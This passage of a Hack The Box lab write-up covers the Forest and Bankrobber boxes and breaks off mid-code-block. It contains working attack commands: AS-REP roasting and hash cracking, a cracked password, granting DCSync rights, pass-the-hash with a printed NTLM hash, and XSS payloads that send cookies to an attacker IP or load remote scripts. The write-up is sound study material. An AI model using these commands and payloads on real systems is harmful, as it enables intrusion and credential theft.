names.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There are several other ways to find usernames.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A service account I hadn&amp;rsquo;t seen before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/svc-alfresco -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetNPUsers.py htb.local/ -usersfile user1.txt -format hashcat -outputfile foresthash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got the TGT. Let&amp;rsquo;s try cracking the password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 18200 1.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-alfresco:s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That step was done, but I had no idea how to get a shell from there. In my previous exploits, I could basically only get in as administrator or after privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;So I tried the options one by one, based on what I&amp;rsquo;d learned before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The output suggested it might work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it froze when I left the result empty.&lt;/p&gt;&#10;&lt;p&gt;This is where I learned a new trick.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It connected successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. It was a little laggy, so I did some information gathering.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing I found seemed particularly important. I&amp;rsquo;d already gathered a lot from outside the domain.&lt;/p&gt;&#10;&lt;p&gt;From a write-up, I learned that I needed to use Bloodhound to look for an exploitable path. I&amp;rsquo;d already installed it while learning domain penetration testing. If you need to install it, there are plenty of guides online.&lt;/p&gt;&#10;&lt;p&gt;Before using it, I started it up directly.&lt;/p&gt;&#10;&lt;p&gt;I found a Windows information-gathering tool similar to LinEnum.sh on Linux.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855" target="_blank" rel="noopener"&#10; &gt;https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I uploaded it, but it didn&amp;rsquo;t turn up anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, I started using bloodhound.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;There are powershell and exe versions. I chose the exe version and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used certutil to transfer files into windows. For transferring files back out, I learned a new method here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\smbserver.py win10 . -smb2support&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\20241124052634_BloodHound.zip \\10.10.16.6\win10\smbserver&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Drag the file into the program and it will load automatically.&lt;/p&gt;&#10;&lt;p&gt;Search for SVC-ALFRESCO in the upper-left corner, and a pop-up will appear.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Open it and mark this user as owned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Go back to the upper-left corner of the screen, and under the query tab select Analysis &amp;ndash;&amp;gt;shortest path from Owned Principals.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The query returned this. All I could make out was that our current user belonged to these three groups, so I searched them on google.&lt;/p&gt;&#10;&lt;p&gt;service account group&lt;/p&gt;&#10;&lt;p&gt;privileged account group&lt;/p&gt;&#10;&lt;p&gt;And then this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were also several blog posts below explaining how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was when I realized I&amp;rsquo;d missed part of my studies. I&amp;rsquo;d finished constrained and unconstrained delegation, but hadn&amp;rsquo;t covered resource-based constrained delegation. This box was perfect for filling that gap, so I followed the tutorial, using &lt;a class="link" href="https://cloud.tencent.com/developer/article/1937695" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1937695&lt;/a&gt; as a reference.&lt;/p&gt;&#10;&lt;p&gt;There is an exchange server in the domain. Here, choose:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; svc-alfresco /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The method from that blog still failed. It added the current user to the Exchange Trusted Subsystem group.&lt;/p&gt;&#10;&lt;p&gt;Then it granted that user DCSync privileges. The author also mentioned that you have to log in again for the ACL to reload, but I didn&amp;rsquo;t know how to make it reload, so I got stuck. Since the point of this box was learning, I went back to check the write-up again.&lt;/p&gt;&#10;&lt;p&gt;This time I understood the logic clearly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Create a domain account # We currently have this permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user testuser1 password /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Add it to the Exchange Trusted Subsystem group; this also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Exchange Trusted Subsystem&amp;#34; testuser1 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. The key step is granting it DCSync rights through the ACL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = convertto-securestring &amp;#39;password&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#39;htb\testuser1&amp;#39;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -Credential $cred -TargetIdentity &amp;#34;DC=htb,DC=local&amp;#34; -PrincipalIdentity testuser1 -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Here, testuser1 grants itself DCSync rights. My earlier attempt may have failed because I granted rights to the service account itself&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows may not allow this, or I may need to sign out and back in, although I used WinRM extensively&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I did not see this step in many blog posts; it is essentially&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#39;DC=htb,DC=local&amp;#39; -PrincipalIde svc-alfresco -Rights DCSync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;I also tried using svc-alfresco to grant testuser1 rights with Add-DomainObjectAcl, but it failed immediately&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;As shown below, it didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After thinking about it, the main reason was that we only had permission to create users, not to grant privileges. Creating a normal domain account was fine. Once we added it to the Exchange Trusted Subsystem group, it could grant privileges to itself. That made perfect sense. I also asked claude to verify my theory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As shown below:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just use PTH.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done!&lt;/p&gt;&#10;&lt;p&gt;Just as I said when I first started this box, it was mostly for learning. While filling in the gaps in my domain penetration testing knowledge, I&amp;rsquo;d mostly built local environments. I&amp;rsquo;d learned so much that things were getting a little jumbled. I hadn&amp;rsquo;t encountered the resource-based constrained delegation used later in this box. I basically understood the earlier parts, but my knowledge was broad rather than deep. This box helped reinforce some of what I&amp;rsquo;d learned. All I can say is: I still need a lot more practice.&lt;/p&gt;&#10;&lt;h2 id="8bankrobber"&gt;&lt;a href="#8bankrobber" class="header-anchor"&gt;&lt;/a&gt;8.Bankrobber&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m already getting a bad feeling about this.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB doesn&amp;rsquo;t allow anonymous access.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fingerprinting:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A cryptocurrency trading platform.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looks like I&amp;rsquo;ve found the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There may be a broken access control issue here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just as it says, this can only be accessed locally. Based on the information above, he also moved the stuff in xmapp to TODO.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s basically it for recon. Time to start attacking the box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The id at the user endpoint is definitely problematic—there is a broken access control issue. But it only exposes information and things like that, so it doesn&amp;rsquo;t seem particularly useful. Also, the credentials work exactly as described above: your username, password, and id are placed in the cookie.&lt;/p&gt;&#10;&lt;p&gt;/admin looks like the admin interface, but even when I brute-forced it, it kept saying I didn&amp;rsquo;t have enough privileges.&lt;/p&gt;&#10;&lt;p&gt;At /phpmyadmin, we already know it only permits localhost. I tried configuring xff and similar headers, but still couldn&amp;rsquo;t bypass it.&lt;/p&gt;&#10;&lt;p&gt;There doesn&amp;rsquo;t seem to be anything else to exploit, but one thing worth mentioning is that httponly is empty, so an XSS could steal the cookie.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After submitting a request here, it says an administrator will review it within a minute. This feels very likely to have an XSS.&lt;/p&gt;&#10;&lt;p&gt;Mainly because it returns no response body. Also, the ID above is worth testing for SQL injection, but let&amp;rsquo;s take things one at a time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;location.href=&amp;#34;http://10.10.16.29:33333/cookie.php?cookie=&amp;#34;+document.cookie&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ncat -lvnp 33333&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, nothing came back.&lt;/p&gt;&#10;&lt;p&gt;I tried SQL injection, but it looks like none of these parameters touch the database, since the request is supposed to be reviewed by an administrator.&lt;/p&gt;&#10;&lt;p&gt;I tried several more XSS payloads:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 